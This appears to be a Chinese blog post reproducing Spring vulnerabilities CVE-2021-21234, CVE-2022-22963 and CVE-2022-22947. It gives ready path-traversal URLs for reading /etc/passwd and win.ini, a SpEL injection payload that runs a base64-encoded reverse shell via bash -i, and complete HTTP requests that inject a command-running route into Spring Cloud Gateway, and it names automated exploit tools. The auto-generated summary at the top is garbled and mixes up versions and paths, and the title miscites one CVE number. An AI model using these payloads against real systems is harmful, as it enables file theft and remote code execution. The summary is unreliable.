Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

spring,boot,目录,遍历,表达式,注入,代码执行,cve · 浏览次数 : 7

小编点评

## Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296) **漏洞简介:** * 漏洞类型:目录遍历 * 影响范围:Spring Boot执行器 * 漏洞版本:Spring Boot 0.2.13 * 漏洞复现:Windows * 攻击方式:SpEL 表达式注入 **漏洞详细描述:** * Spring Boot 执行器通过请求的参数指定文件名和文件夹路径。 * 如果文件夹路径包含特定字符,例如 `.` 或 `/`,就会导致目录遍历。 * 虽然代码检查文件名,但没有检查文件夹路径,导致漏洞影响范围扩展。 **漏洞复现步骤:** 1. 使用恶意请求访问 Spring Boot API,例如 `http://localhost:8080/actuator/gateway/routes/test`。 2. 在请求中包含包含特定字符的目录路径。 **漏洞复现结果:** * 攻击成功,远程代码执行漏洞。 * 攻击者可以通过发送恶意请求执行任意恶意代码。 **其他信息:** * 漏洞复现需要多次尝试,因为工具可能出现错误或翻车。 * 漏洞修复需要修改 Spring Boot 代码,检查文件夹路径。

正文

Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

Spring Boot 目录遍历 (CVE-2021-21234)

漏洞简介

spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点,在 0.2.13 版本之前存在着目录遍历漏洞,编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径,经过组合拼接达到目录遍历,虽然源码中检查了文件名(filename)参数来防止目录遍历,但是没有检查文件夹(base)参数,造成了目录遍历

影响范围

spring-boot-actuator-logview < 0.2.13

漏洞复现

Windows:
http://<target_url>/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
http://<target_url>/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
Linux:
http://<target_url>/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
http://<target_url>/log/view?filename=/etc/passwd&base=../../../../../../../../../../

Spring Cloud Function Spel表达式注入(CVE-2022-22963)

漏洞简介

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

POC:

POST:/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}")

Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)

漏洞简介

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限

影响范围

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本

漏洞复现

  • 手工复现
    添加执行id命令的名为test的路由,状态码返回201即正确添加
POST /actuator/gateway/routes/test HTTP/1.1
Host: 目标主机
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新路由,状态码返回200正确

POST /actuator/gateway/refresh HTTP/1.1
Host:目标主机
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

直接访问路由

/actuator/gateway/routes/test

在这里插入图片描述

/?cmd=

Spring Framework远程代码执行漏洞 (CVE-2022-22965)

漏洞参考

深度解析丨Spring框架远程命令执行漏洞复现及流量特征分析(CVE-2022-22965)

自动化工具

Spring4Shell-POC
SpringBoot-Scan
不知到为啥,手工和工具都有可能翻车,多试几次。

与Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)相似的内容:

Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296) Spring Boot 目录遍历 (CVE-2021-21234) 漏洞简介 spring-boo

[转帖]Spring Boot 依赖包及作用

目录 作者:@dwtfukgv本文为作者原创,转载请注明出处:https://www.cnblogs.com/dwtfukgv/articles/10179922.html Spring Boot 之Spring Boot Starter依赖包及作用 spring-boot-starter这是Spr

我的第一个项目(三):注册登陆功能(后端)

好家伙,前端出了点bug 我们来搞定后端先: 后端我们用的框架是Spring boot 数据库:MySQl 代码已开源,连接在最后 新建项目: 只点Java Web 项目目录如下: 1.首先,我们在pom.xml文件中导入第三方包: web服务,mysql连接驱动等一系列包 pom.xml文件: <

springboot jar thin

# springboot jar thin springboot 应用 jar 瘦身。springboot jar 太大。jar与依赖包分离。 两种方法,第一种,spring-boot-thin-launcher,他将依赖包以maven仓库的形式放到repository目录。 第二种,将依赖包以ja

如何在Spring Boot框架下实现高效的Excel服务端导入导出?

前言 Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。今天我们就使用纯前对按表格控件带大家了解,如何在Spring Boot框架下实现Excel服务端导

Spring Boot框架下实现Excel服务端导入导出

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。今天我们就使用纯前对按表格控件带大家了解,如何在Spring Boot框架下实现Excel服务端导入导出

allowedOrigins cannot contain the special value "*"

Spring Boot的版本高于 2.4以后 ,原来的配置已经不适合目前的版本 将代码中的`allowedOrigins`改为`allowedOriginPatterns` ```java @Configuration public class WebConfig implements WebMvc

[转帖]Nacos的版本支持情况

https://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E 由于 Spring Boot 3.0,Spring Boot 2.7~2.4 和 2.4 以下版本之间变化较大,目前企业

【冷启动#2】实用的springboot tutorial入门demo

跟着官方文档熟悉一遍创建spring工程的步骤 https://spring.io/guides/gs/spring-boot https://juejin.cn/post/7077958723829760008 demo简介 整个demo的预期目标是: 管理一堆玩家的数据,数据库使用的是现成的我们

微服务开发:断路器详解

本文翻译自国外论坛 medium,原文地址:https://salithachathuranga94.medium.com/micro-service-patterns-circuit-breaker-with-spring-boot-253e4a829f94 微服务是目前业界使用的最重要的实现方面